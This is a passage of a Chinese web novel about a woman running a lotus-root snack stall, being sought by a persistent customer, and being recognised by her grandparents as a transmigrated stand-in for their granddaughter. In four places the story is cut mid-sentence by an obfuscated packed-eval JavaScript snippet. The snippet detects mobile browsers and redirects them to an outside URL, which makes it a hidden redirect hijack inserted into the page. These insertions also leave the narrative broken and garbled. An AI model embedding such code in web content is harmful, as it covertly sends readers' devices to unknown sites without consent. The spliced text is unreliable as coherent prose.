“我做了点桂花糯米藕,冷热都能吃。” 黎秋月把盒子递给眼睛亮亮的小女孩,也不等李奶奶姑婆来,就转身回家关了门,煮了碗煎蛋肉丝面吃完,洗了个澡就回床上睡起了回笼觉。 “叮咚叮咚叮咚叮叮……” 八点的闹钟准时响起,黎秋月打着哈欠爬起来收东西准备去摆摊,刚跨上电动车,就看到正准备去广场舞赶场子的刘奶奶。 “小黎,你可算出来了,这是……现在去摆摊?” 刘奶奶有些不确定,黎秋月这架势倒是挺熟悉的,但连个照明灯都没带,是不是有别的事情要做? “嗯,最近我在文珀广场那摆摊,卖桂花糯米藕。” 黎秋月也不隐瞒,她光明正大的挣钱,没什么不能说的。 “就是下午你拿过来的那个?” 刘奶奶一听就激动起来,那糯米藕她一尝就知道用了好材料,只有土蜂蜜才会有那种滋味。 乐乐偷偷尝了一块就停不住嘴,她好容易才保下半盒等到儿子儿媳回来,一人给夹了两片盒子就空了。 “对了,糯米藕我们能订吗?” 想到儿媳说的话,刘奶奶试探性的问道。 “就我们一家订,外面卖多少我们也给多少。” 刘奶奶是真的喜欢这个糯米藕,年纪大了就喜欢软的甜的,糯米藕完美匹配她的需求。 “其他人不行,但您……算了,每天最多三斤,不能往外说。” 黎秋月故作为难的迟疑了一会儿,才“咬牙”答应了刘奶奶的要求。 “成成成,那今天……” 刘奶奶的小眼神对着黎秋月的盆一瞄一瞄,什么都没说,但一切尽在不言中。 五分钟后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982781|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈,你不是去跳广场舞了吗?” 叶静一脸惊讶的看着刘奶奶,不知道发生了什么大事才让妈暂停了这项活动。 “看我带来了什么!” 刘奶奶举起手上的塑料袋,从轮廓能看出来是三个一次性饭盒。 “我在楼下碰到小黎了,废了好大劲儿才买回来的。” 刘奶奶一边打开饭盒盖子,一边得意的说道,叶静和童乐璇一左一右的围着她,时不时发出表示惊叹的语气词,给足了刘奶奶情绪价值。 “刚好三盒,我们一人一盒。” 刘奶奶做出决定,另外两人表示没有意见…… “乐乐,你年纪小,吃太多甜食对牙齿不好,妈妈是大人不怕,应该多吃一点。” 刘奶奶的分量叶静自然不敢抢,但自家女儿的还是可以试着挣一挣的,况且乐乐都吃了半盒子独食了,本来就不能再吃太多。 “妈妈,你天天都说要减肥,吃甜食会发胖,我是小孩我长身体不怕胖,我才应该多吃一点!” 童乐璇爬到了沙发上减少两人的身高差,鼓着腮帮子说道,刘奶奶享受着分量最多的一盒,不参与母女之间的战争,双方在都占据了有效论点,争辩的不可开交,直到一个外界因素强行打断越发激烈的战斗。 “你们在说什么?” 穿着围裙带着长款橡胶手套的童爸一脸茫然,手上还拿着马桶刷,他在刘奶奶进门前被踹去清理厕所了,并不知道发生了什么。 “乐乐你怎么站到沙发上了?” 母女二人陷入了诡异的沉默。 她们忘了家里还有个人。 “我买了点晚上吃的那种糯米藕回来,你们自己分分。” 刘奶奶打破了这让脚趾动工的沉默,她其实也忘了还有自家儿子,但她是不会承认的。 “妈,你不吃吗?” 童爸眼睛一亮,却还是问了一句。 “我吃过了。” 刘奶奶觉得自己的良心隐隐作痛,根本不敢对上儿子的眼神。 母女二人看了看垃圾桶,只对上一个还有一点甜汁的空饭盒。 妈/奶奶吃的可真快啊。 “老公/爸爸,过来吃糯米藕。” 不管有多心痛,母女还是主动叫了童爸过来享受美食。 *** 黎秋月骑着小电驴赶到目的地,桌子一放盆一摆,深谙糊弄学的摊位就摆好了大半,照旧把充电宝插上光源,筷子一别纱布一罩,冲着身上和周围的地上狂喷了一通花露水,黎秋月才坐下等待顾客。 “羊肉串羊肉串,五块钱一串十块钱三串;好吃的羊肉串……” 卖羊肉串的小哥头上扎了条白毛巾,高鼻深目新疆口音,烧烤的香味扑面而来,黎秋月也不知道怎么回事,等她再回过神来的时候,手上已经抓了三串烤熟的羊肉。 “这边没有老板吗?” 黎秋月在心里笑话了下连摊位都不看的老板,就继续沉迷在火候恰好的羊肉中,直到普通话不标准的新疆小哥提醒她: “那是不是你的摊子?好像有客人想买东西。” 黎秋月下意识的回头,刚好对上顾客的眼神。 小丑竟是我自己! 11. 改一改价格 “你是第一个客人,待会儿结账的时候打九折,要多少你自己挑啊。” 黎秋月一边指指长筷一边将口罩拉上去,拿了个自己的一次性餐盒把羊肉串放好,又掏出一张纸巾擦拭桌面。 客人一直保持沉默,直到挑好了糯米藕付了账,坐上小电驴后才对黎秋月打出暴击: “老板,我听说人觉得尴尬的时候就会让自己看上去很忙。” 一直没停手的黎秋月:…… 反正任务也完成了,要不今天就先不摆摊了吧。 黎秋月对回家摆烂非常心动,但看看自己账户上可怜兮兮的那点余额,还是叹着气没有挪窝。 半小时以后。 黎秋月旁边的烤肠老板递给她一根爆开的脆皮肠,委婉的劝黎秋月把糯米藕的价钱调低一点。 黎秋月想想从第一个客人走后的悠闲,很听劝的在小白板上涂涂改改,好一会儿才将招牌放回原处。 “……你这价钱也没变啊?” 烤肠摊主好奇的凑过去看了眼,有些无语的说道。 “不一样的。” 黎秋月很有信心的回答,然后继续看起了小说,烤肠摊主还想说什么,但她那边又有了新客人,也就专心赚钱去了,只是心里还存着几分疑惑。 不还是28一斤吗,有哪里不一样? 然后她就看到自己的客人举着烤肠,在黎秋月的摊位面前停了下来。 “糯米藕是2.8一两吗?” 还真有效?! “是的,两块八一两,五块钱起步,因为盒子也要本钱。” 黎秋月淡定的回答,她刚刚在28中间加了个小数点,又把量词从斤改成了两,最下面加了句五块钱起步,涂改半天是因为字丑,想多写几遍弄个好看点的出来。 “那给我拿五块钱的。” 28一斤和2.8一两看似相同,其实在大部分人眼中是完全不同的概念,28在没有尝过味道的情况下,会让人跟同样卖糯米藕的小摊进行对比,得出好贵的结论,2.8却不会。 “你这还挺实惠的,水煮里的生藕片薄的跟纸一样,一份还好意思要两块钱。” 买了烤肠的客人是个带女儿的母亲,烤肠的香气引得小女孩的眼神不断飘过去,当妈的却坚决不让步。 “这里面加了辣椒,你吃糯米藕,这个是甜的。” 烤肠客人是昌南本地人,打小吃着青辣椒炒红辣椒长大,但她姑娘的肠胃却随的是她东广的爹,今天一口变态辣的烤肠下去,半小时后就得变香肠嘴,晚上就得去医院。 “五块,要现在吃还是待会吃?” 黎秋月已经称好了藕片,烤肠客人撇到98的数字什么都没说,等黎秋月的价钱报出来才在心里暗暗点头。 “在这吃。” 2.8一两,100克应该是5.6,她不差这几毛钱,但摊主的做派就让人觉得心里舒服。 “给。” 黎秋月闻言就没盖盖子,把牙签插到藕片上,在盒子外面套了个袋子递给客人,烤肠客人忙着扫码,小姑娘主动接了过去,还送了黎秋月一个甜甜的笑脸。 小姑娘被烤肠馋得慌,听到黎秋月这边的收款提示音,就提起藕片往嘴里送,然后黎秋月就看到了两个表情包。 #眼睛瞪得像铜铃.jpg# #暴风吸入.gif# 糯米藕不多,小丫头又吃得快,当妈的烤肠还没吃完,糯米藕就只剩下最后一片了,小姑娘看了看黎秋月面前满当当的盆,伸手拉了拉烤肠客人的衣服。 “妈妈妈妈——” 烤肠客人的手抖了抖,她姑娘这么叫她的时候,一般都是闯祸了。 “怎么……”了? 烤肠客人鼓足勇气低头,还没问完嘴里就被塞了个东西,她下意识的嚼嚼—— 黎秋月欣赏到了一半表情包的梅开二度。 主要成人的嘴比儿童大,一片莲藕不够表演暴风吸入。 小姑娘对上黎秋月看过来的视线,露出一个狡黠的笑。 【黑芝麻汤圆。】 黎秋月悄悄在心里说道。 “给我来一,不,两……算了,给我来三斤!” 烤肠客人一边在心里盘算一边在嘴上改数字,自己吃一斤,老公吃一斤,女儿给几片,还能留半斤明天吃,这个数量刚好! “你要自己挑吗?” 一下清掉十分之一库存的黎秋月心情很好,觉得推出试吃装果然是个正确的决定。 “要。” 烤肠客人一口答应下来,自己挑是麻烦了点,但带走的都是自己喜欢的部位,想想还是挺划算的。 “蓝宝到账84元~” 烤肠摊主目瞪口呆的看着母女走远,发自内心的疑惑: “真的这么好吃吗?” 黎秋月看了眼烤肠摊主,淡定的指指糯米藕。 “好材料。” 又指向自己。 “好手艺。” 最后指向五块起步的黑字。 “好价钱。” 黎秋月没再说下去,但意思已经很明显了。 摊主想知道味道,最好口尝为实。 烤肠摊主默默转过了头,她一点都不想花钱。但不知道为什么,五块两个黑字总是时不时在她脑袋里晃悠,甚至随着时间的推移还自动生成了配音: 【五块钱,五块钱,糯米藕起步价只要五块钱;五块钱你买不了吃亏,五块钱你买不了上当,花小钱买好货,快来挑,快来选……】 “我要五块钱的糯米藕。” 烤肠摊主觉得自己肯定是被脑袋里的声音催眠了,不然怎么会花钱呢。 “绿信到账五元~” 黎秋月把餐盒递过去,烤肠摊主也不要牙签,而是用她穿火腿肠的长竹签刺起一片莲藕咬下去。 !!! “再给我来两斤。” 烤肠摊主现在一点都不心疼钱了,只后悔昨天黎秋月摆摊的时候她没买,不然就能更早的尝到这么美味的糯米藕了! “什么味道啊?” 见烤肠摊主这幅表现,旁边的烤冷面摊主也好奇起来。 他们这些摊主有时候也会买点彼此的吃食换换口味,但黎秋月的糯米藕还真的没人尝过。 主要是黎秋月摆的摊子实在有点糙,糯米藕的卖相再好,被那种暗暗的白灯一打,跟其他小摊上的也没什么区别,价钱还敢标那么高,摊主们自认为不是冤大头,自然没有去消费的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982782|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好吃!” 糯米软,莲藕糯;桂花香,蜂蜜甜,烤肠摊主没什么文化,只能用最简单的语言表达情绪。 “给我来五块钱的。” 热奶茶的摊主凑了过来,她早就好奇糯米藕的味道了,只是之前被小摊欺骗了太多次有了ptsd,生怕又被当成肥羊宰,现在有同行背书,她觉得自己可以再鼓起一次勇气。 “给我也来五块钱的。” 烤冷面的摊主也将脑袋凑了过来,黎秋月好脾气的应下,称出来的重量都是90往上。 结果自然不出意外,两位摊主在试吃后果断进行复购,动辄两三斤起步,然后又引起旁边的摊主好奇……无限循环的结果就是她的糯米藕被分了个干净,却还有好几位摊主连试吃装都没买到。 不过这就跟黎秋月无关了,她卖掉最后一点藕片,飞快的收拾了东西就骑着小电驴溜了。 *** 烤肠母女带着沉甸甸的糯米藕到了家,刚好碰上端着沙参玉竹排骨汤从厨房出来的东广老公。 “回来啦,喝碗汤润燥啦。” 烤肠老公完美符合东广人的刻板印象——爱煲汤,会煲汤,一年四季都煲汤。 “待会儿喝,我们也带了好东西回来。” 烤肠妈举起手中的袋子,女儿兴奋的点点头。 三分钟后。 “这个糯米藕靓哦,多少钱买的?” 烤肠夫妇一人一个盒子吃的不亦乐乎,只有女儿看着碗里的少少几片莲藕嘟嘴。 “二十八一斤,我觉得特别划算。” 材料好手艺尖,烤肠妈买的时候就觉得自己占了大便宜。 “老板是在做慈善哦。” 显然烤肠爸也是这么想的。 “对了,爸妈明天十一点的飞机,你说买点什么好?” 烤肠爸吃着吃着,突然想起一桩事来。 “怎么又是半夜的飞机,我不是让你买白天的票吗?” 烤肠妈皱了眉,公婆什么都好,就是有些时候节省的过分,红眼航班的确便宜,但熬夜多伤身子啊。 “你犟的过他们?” 烤肠爸只用一句话就将妻子弄沉默了。 两个老人家一个比一个固执,还真拗不过。 “明天我再买点这个糯米藕怎么样?好吃,加热了也不差。” 公婆的行程没法改变,烤肠妈只能从后勤着手,思来想去,最后发现这糯米藕竟然成了最合适的选择。 别看公婆这边省那边省的,他们唯独不会亏的就是自己的嘴。 “明天摊主会出摊吗?” 烤肠爸听了也觉得合适,然后发出了灵魂一问。 只是偶然路过摊子的烤肠妈:…… “明天你在家煲汤看女儿,我去那边守着,做双重准备!” 烤肠妈做了决定,烤肠爸没有意见。 “算了,我现在就去买。” 烤肠妈越想越不放心,主要是那个糯米藕摊主看上去就一副不太想做生意的样子,万一明天不来呢。 烤肠妈把女儿交给她爸带着,就风风火火出了门,顺着烤肠摊位摸到了黎秋月的摆摊点,然后笑容就僵在了脸上。 天杀的,她的桂花糯米藕摊主呢?! 12. 咸蹄膀炖茭白 黎秋月一身疲惫的回到家,大晚上的也不想开火动灶,索性从冰箱里拿了鸡汤放到微波炉里叮,里面的鸡腿肉就当是夜宵了。 之前她在厨房找合适的容器的时候,翻找到了一个小砂锅,鸡汤就是用它熬出来的,小火慢炖一个多小时,出锅的时候整个厨房都是香味。 “就是太少了。” 最后一口汤下肚,黎秋月有些意犹未尽的咂咂嘴,决定以后攒了钱换个大砂锅。 吃饱喝足洗漱睡觉,黎秋月转眼便入了梦乡,然后又踩着晨光前往批发市场,带着一麻袋莲藕回来洗洗刷刷。 高压锅有点小,两个灶台有点少,黎秋月看着泡在水里的莲藕叹了口气,思考起租个单独厨房的可能性。 最好再雇两个小时工,她的手都快被泡成巨人观了! 看看自己的余额,黎秋月再次将纯蠢蠢欲动的小心思压下来,饭要一口口吃路要一步步走,她现在最重要的就是攒钱买辆餐车,天冷了还能卖点热乎的。 努力努力,过了最初的坎儿就没什么大花销了。 黎秋月搓搓自己的脸,洗了手后把去骨的粉红色蹄膀从放了料酒的水里拿出来,切成厚片铺在滚刀块的茭白上,打了两个葱结放到电饭煲上的蒸格里,黎秋月就继续看糯米藕的火候去了。 因为糯米藕炖煮的时间比较长,黎秋月这几天吃的都是蒸菜,只是前两天有点糊弄,今天看到了锡无茭白,才准备做个咸蹄膀蒸茭白犒劳下自己。 她家里有两个电饭煲,一个是上面带了各种功能按键的新款,一个是只能显示保温和工作中的老款,新款做饭老款蒸菜,各司其职互不干涉。 咸蹄膀蒸茭白基本不需要厨艺,味道基本取决于食材的品质,寻常的茭白跟咸蹄膀放一起蒸透,会变得灰突突蔫巴巴,弹性和香气都跑了个干净,但锡无茭白不一样。 锡无的茭白表面算不上光洁,却带着漂亮的象牙色,扁圆的体型带着清香,跟蹄膀放在一起,会被蹄膀的油水和胶质煨的鲜香软润,有些人吃着甚至会只吃茭白不吃肉。 有肉有菜有米饭,黎秋月很满意自己的伙食标准,唯一的忧愁就是胃有点小,做出来的一次吃不完。 照旧一觉睡到晚上八点,黎秋月才慢吞吞的收拾东西出去摆摊,李奶奶家今天只有叶阿姨在,糯米藕就送到了她的手上,换来了一小笔固定收入。 “老板,你终于来了!” 黎秋月的小电驴还没停稳,旁边就扑出来一个人影,惊的黎秋月向后一倒,要不是手还没从车把上拿下来,高低得栽到地上磕一个。 “老板,你快点把摊子支起来,我要买五斤……不,八斤莲藕!” 烤肠妈是真的着急! 昨天她第二次过来的时候扑了个空,问了旁边的摊主才知道糯米藕已经被他们分了,而且因为味道过于出色,烤肠妈价钱都没人肯转卖。 这也就算了,关键是家里的烤肠爸也掉了链子,去菜场的路上突然肚子痛,上完公共厕所再去市场,最顶尖的一茬食材已经啥都没了! 于是所有的希望都压在了烤肠妈身上。 但烤肠妈能怎么办?她只能在这边等啊等啊等,等到手机加充电宝只剩5%的电,等到烤肠爸去开车接爸妈,等到所有的摊主都打起了小灯……才等到黎秋月骑着小车过来摆摊。 “你挑还是我挑?” 黎秋月很想说自己这两天都是九点出摊,但她知道烤肠妈想听的不是这个,所以她指着筷子问了句更重要的话。 “我来!” 烤肠妈迅速抓过筷子,也不用黎秋月帮忙,掏盒子夹莲藕称重量一气呵成。 终于安静下来了。 黎秋月悄悄揉揉耳朵,将手机屏幕转到绿信的付款码,她换了手机以后就重新申请了免费邮寄的官方收款码,只是快递还在路上飘着,按照这个运输速度,等她下次摆摊的时候应该就能用上了。 “绿信到账280元~” 烤肠妈带着黎秋月三分之一的库存满意离去,旁边的商贩们的对视一眼,纷纷下了订单。 “我要三斤。” “我要一斤。” “我要两斤。” …… “我要五块钱的!” 在一片以斤为单位的数额中,这个二两的单子就显得格外突出,旁边的摊主有些疑惑的看向他,当事人却表现的相当自然。 “我昨天没尝到,今天想买点尝尝不行啊?” 五块钱大哥是卖钵仔糕的,在家早就吃够了甜食,糯米藕也只打算尝个鲜,虽然用的是疑问句,却没什么挑衅的意思。 “行啊,” 炒粉摊主接了钵仔糕的话,他是昨天最后一个尝到味道的幸运儿,不幸的事他只吃到了试用装,最后一点被嘴快的柠檬茶摊主包圆了。 “我这还有二十斤,你们要多少自己商量,先付钱再交货” 其实还有二十一斤多,但黎秋月习惯抹零,得留点做搭头的余地。 黎秋月也不知道这些摊主有多少是真心想吃的,索性让他们拿出真金白银,省的自己称完对方来句“只是开玩笑”,这种就算付了钱都觉得赌心。 先钱后货的规定一出来,果然有几个摊主默默闭了嘴,真心想买的摊主倒是挺高兴,你一点我一点的商量起来,三分钟就将糯米藕的份额瓜分完毕。 因为又来了一小波人流,摊主们扫了码就忙着去做生意,也没时间自己挑藕片,黎秋月便将糯米藕按照分量打包好,往不顺路的方向一一送过去。 送完回家相反的方向订单后,黎秋月就收拾了东西,把装着糯米藕的袋子全都挂在车把手上,顺路将剩下的单子也送了出去。 钵仔糕摆在街口,是黎秋月送出去的最后一个订单,摊主本来想立刻打开尝尝味道,结果又来了一波生意,等这一小笔收入进账,黎秋月已经连影子都看不到了。 钵仔糕摊主再一转头,就看到炒粉摊主小心翼翼的将糯米藕塞到了视线死角,其他人除了现场拿出一点开吃的,动作也都相差无几。 【藏得那么快,是怕人蹭吃吗?】 这话钵仔糕摊主憋在心里没说出来,只是咬了一大口糯米藕。 !!! 刚刚好像不少人都买了挺多的,他现在去撺掇他们拿出来尝尝还来得及吗? 钟桐面无表情的坐在车上,经过一条小吃街的路口时,跟一辆车擦肩而过,她本来也没注意,直到一股甜香飘过来,她不经意回头看到车主的侧脸—— “倒回去!” 钟桐绝对不会看错,刚刚蹿过去的肯定是消失了的土豆泥摊主! 汽车的速度很快,但小电驴却更为灵活,钟桐的司机刚刚转头,就看到黎秋月的小电驴灵活的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982783|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹿进了一条巷子,等汽车过去的时候,小电驴早已消失在茫茫黑夜中。 “去那条小吃街!” 昌南的巷子四通八达,小电驴进去就是鱼入大海,因此钟桐果断放弃了基本没有希望的追逐战,从另一方面寻找线索。 黎秋月的小电驴上七零八碎一堆东西,不知情的可能看着觉得没什么联系,但钟桐一眼看出都是摆摊能用得上的,她赌黎秋月是刚刚摆摊回来,因为只有收摊的时候这个女人才会笑。 这么糙的摊子+这么好的手艺,简直就是天生自带辨识度! 钟桐下车进了小吃街,从最开头的钵仔糕一路买过去,试图打听黎秋月的情况,消息倒是汇总不少,只是跟她想的有些许出入。 “最近摆摊的?有啊……不是土豆泥,是糯米藕。” “味道最好的……她刚刚走了,卖糯米藕的,那味道简直绝了!” “价钱便宜味道好的……这边没有吃着特别出色的,倒是刚走的糯米藕好吃,贵是贵了些,但真的值!” “那卖糯米藕的小姑娘跟摆着玩的一样,一天也就卖个几十斤……最多不超过五十斤,卖完就跑,跟有人追一样。” “最不像样的摊子……那个卖藕片的肯定算,就一张桌子一个盆,连光都是直接插了充电宝的,连个移动电源都不愿意带,但也是真的好吃!” 钟桐回到车上,将吃食随手塞给了司机让他看着处理。 “明天晚上八点五十,再带我来这条小吃街一趟。” 虽然卖的东西不一样,价格标准也不太相同,但其他方面简直如出一辙,再加上刚刚她闻到的那股甜香,钟桐觉得土豆泥和糯米藕摊主为一个人的概率高达八成! *** 黎秋月到家才发现自己的肩膀上红了一片,仔细一看才发现那块不知道什么时候蹭上了一大片糯米藕的料汁,只是穿得厚又闻惯了这种甜味才没被发现。 晚上吃蹄膀有些油重,黎秋月又给自己打了个番茄蛋汤解腻,这汤说着简单,要做的好吃也有不少讲究。 洗净的番茄要去皮切片,讲究的还要去籽;锅里要先倒油,用葱姜炝了才能放番茄,还得加水淀粉勾芡,淋香油增色,做出来才能番茄软鸡蛋嫩,闻着酸喝着香。 吃好了夜宵的黎秋月躺在床上,入睡前觉得自己可以原谅这个世界。 “世界怎么还不爆炸!” 黎秋月骑着电驴前往批发市场,看着灰蒙蒙的天色,整个人都显得阴沉沉的,连说话都像是从牙缝里挤出来的。 洗莲藕,淘红水,调桂蜜,外面狂风大作暴雨倾盆,李秋月活人微死手上不停。 “系统,今天的天气这么不好,我可以申请不摆摊吗?” 黎秋月心情烦躁的随口申请,五秒后得到了系统回复。 【可以,但在不限制地点的情况下,至少要完成一次糯米藕的交易。】 “好耶!” 黎秋月欢呼一声,打算给自己炖个莲藕排骨汤。 当天晚上,黎秋月喝上了美味的莲藕排骨汤,李奶奶终于有东西应付几位对土豆泥过分执着的业主,失去土豆泥的业主得到了美味的桂花糯米藕,大家都有美好的未来! 在小吃街蹲守的钟桐:…… 不是说晚上九点出摊吗,她从八点半蹲到十一点,怎么连糯米藕的影子都没看见? 13. 秋月还好吗 新的一天,新的开始。 黎秋月狠狠睡了个懒觉,醒来的时候已经快到中午,她摸摸扁扁的肚子,决定去奶奶家蹭饭。 说来也奇怪,原主这边的亲属关系跟她那边的一模一样,就连堂表哥姐们的姻缘,事业,甚至孩子的名称和脾气都没有任何不同,都说蝴蝶的翅膀能卷起风暴,但好像弟弟出生唯一影响的只有黎秋月和她的父母。 黎秋月让自己停止继续思索下去,原身的未来在没有被拦腰截断前太过璀璨,再想下去她怕自己会出现一些精神问题。 “要给小老太太带点什么好呢?” 黎秋月琢磨了半晌,最后还是决定边走边看。 “婆婆——” 到奶奶这边的时候已经是五点多,黎秋月在小楼底下就开始叫,隔着十来米纳凉的老人们时不时指指她,也不知道在说些什么。 “十六怎么来啦!” 二楼很快探出一个脑袋,小老太太操着半生不熟的普通话匆匆下楼,黎秋月看的胆战心惊,赶紧迎了上去。 一楼湿气重,爷爷奶奶工作和居住都在二楼,几个儿女本来商量着给父母安个电梯,但爷爷奶奶死活不让,说是浪费钱。 原主父母去旅行之前悄悄告诉原主,说已经跟大伯二伯她们商量好了,电梯的费用他们已经集齐了,等旅游回来就哄着爷爷奶奶去玩几天,乘那个时候把电梯安好,到时候木已成舟,二老也只能接受,结果…… 黎秋月的眼神暗淡一瞬,她的父母也商量着给爷爷奶奶装电梯,却没有跟她透露半点消息,还是堂哥偷偷告诉她的,后来她拐弯抹角的问弟弟,才知道弟弟早就知道了。 “吧唧!” 黎秋月把那些复杂的思绪丢开,给了老太太一个大大的拥抱,然后响亮的亲了下奶奶的脸,声音也自动转成了昌南话。 “想恁嘛。”(想你了嘛。) 那边老人们的议论声更大了,黎秋月也不在意,黎家村的年轻人很少,经常回来探望的更少,敢特别张扬的表现出来自己思念的,更是只有黎秋月一个。 黎秋月以前以为老人们议论的是她不应该这么做,后来偶然听到他们的谈话发现自己只猜对了一半——老人们觉得她不该这么做,是因为自己的孙辈不会对他们这么做。 他们妒忌黎秋月的爷奶! “亲系里哟,卜海扫。”(亲什么亲,不害臊。) 奶奶笑骂一句,嘴角却提的高高的,明显很受用。 “婆婆,我饿了,想吃你做的辣椒炒肉~”(家乡话,后面也不翻译) 黎秋月刻意拉长了嗓子,声音里好像都泛着蜜糖,外人听着可能有点嗲,对老人家却是刚刚好。 “好好好,我去买肉。” 小老太太笑开了花,还主动问黎秋月要不要喝汽水。 黎秋月骄傲的举起手中的塑料袋,她在菜场选了半天呢,保证新鲜。 “我带了肉,婆婆你给我五块钱就行,我要去买鲜橙多。” 不要钱是不可能的,其他的老人怎么样黎秋月不清楚,但她当了爷奶二十多年的心尖尖,可太知道怎么让二老高兴了。 主动拒绝说自己有钱为下策,老人家会觉得你懂事,但更多的是儿孙不接受馈赠的失落,甚至还会产生类似“看不上我的钱是因为看不上我”之类的糟糕想法。 给多少拿多少是中策,老人手上的钱都攒的不容易,对子孙大方了就会对自己更加抠门,直到把钱加倍的省出来。 上策就是大大方方的要钱,但要的数量不能太大也不能太小,一般处于一到两小瓶饮料的中间的数值为最佳,黎秋月要的最多的是五块钱,偶尔会要一张十块的,没有多少负担,也能让两个老人家出去炫耀。 是的,在黎家村,儿孙能在村里花自己的钱是一件值得炫耀的事情,因为这件事情的前提是儿孙真的来看老人,而不是只有一通电话,一个视频。 别以为老人之间的相处就单纯了,他们的心思可多着呢。 “好好好……” 听到孙女要钱,小老太太赶紧从口袋里拿出一个布包层层解开,还问五块钱够不够,要不要多给点。 “够啦够啦~” 黎秋月接了钱,陪着要做饭的小老太太上了楼梯,又哄了在上面偷听半天的爷爷,才脱了鞋进房间放包,然后乘奶奶不注意,将一张红色的钞票压在了枕头下面。 以前都是父母给爷爷奶奶养老钱,花的那五块十块比起给出去的算不了什么,现在……黎秋月觉得自己又不是挣不到钱,没必要抠抠搜搜的。 黎秋月下楼的时候不忘亲亲奶奶的脸,因为走的太匆忙,没注意到老太太在二楼冲着楼下的那群老人得意的笑,气的戴老花镜说酸话的一群人脸都差点歪了。 你得意个什么劲儿啊,有个好孙女了不起啊……等回头就冲你要债去! “翠花婆好!” “佳慧姨婆好!” “茴香太婆好!” “龚三太爷好!” …… 黎秋月攥着五块钱,经过老人们的时候没忘打招呼,她跟原主都不清楚这些人的名字是哪几个字,但不妨碍她的礼貌。 老人们大多讷讷的应了,有几个问黎秋月问题,黎秋月也捡着不要紧的答了,然后说奶奶给了钱要去买饮料,往好些人心口又倒了一杯酸水。 都是黎家的,怎么黎秋月的爷奶就这么好运,家里出了一只大金凤凰也就算了,还有只这么粘她们的小金凤凰! 算了算了,看在小金凤凰这么礼貌的份上,还是别急着要债了,他们家也不容易。 黎秋月回来的有点晚,菜已经端上了桌,爷爷奶奶在等她回来开饭。 “路上碰到了不少人,说了会儿话。” 黎秋月不好意思的笑笑,两位老人也没多问,能问什么呢,大半个村子都是债主,不嘴甜些还能怎么办呢。 “多吃点。” 见孙女只吃了半碗就放下筷子,奶奶有些不高兴的说道。 “吃不下了。” 黎秋月捂着肚子摆手拒绝,她真的已经到极限了! 吃过饭,跟爷奶说了会儿话,黎秋月便要道别,却被爷爷拉住。 “十六……” 奶奶犹豫了两秒,还是开了口。 “……十六她现在过得好吗?” 被发现了。 黎秋月的心里意外的平静,可能她在第一次见面的时候潜意识就有了准备,现在只是预测成真。 “婆婆你什么时候发现的?” 黎秋月还是叫不惯奶奶。 “你们都是十六,但这里的十六是我们养大的。” 爷爷沉默的点点头。 也是,虽然穿越自带降智光环,但真正的亲人怎么可能认不出来谁才是正主,相对于这个欧亨利的答案,黎秋月真正关心的却是另外一件事。 “你们知道我是谁?” 爷爷站了起来,按住黎秋月的肩膀让她坐到椅子上。 “我们是老了,但孙女还是能认出来的。” 老人家不懂什么平行时空双重人格,但也有一套说服自己的逻辑,不管这孙女是哪来的,他们都知道这是孙女,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982784|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是他们打小的那个孙女。 黎秋月的眼圈红了,她想自己的爷爷奶奶了。 “……她应该过得挺好的。” 黎秋月开口的时候才发现嗓子有些哑,也没在意,过了会儿却在桌上摸到一个暖水瓶盖子,脸上不自觉就带了笑。 爷爷奶奶的作风老派,解渴从来都是用大号的不锈钢被子泡茶,她懒得拿碗也喝不惯,一般都是直接用暖水瓶盖子倒水喝,最后这个盖子就是她专属的解渴工具了。 “我也不知道自己怎么来的,但我知道她去了我那边。” 真真假假的话最不容易被识破,黎秋月不准备让两个老人担心,她相信就算原主在这里,也会觉得她做出了正确的决定。 “怎么去的也不知道,但最多三年我们肯定能换回来。” 三年之约是黎秋月瞎掰的,在打开商城的当天她就算了一笔账,三年差不多能换完所有她认为需要的东西,如果到了那个时候系统还不把两个人换回去,黎秋月也不介意赌一回命。 “那……” 黎秋月知道爷爷奶奶最关心的是什么,所以也答的飞快。 “三年的时间是怎么来的我们也说不清,但我们就是知道。” 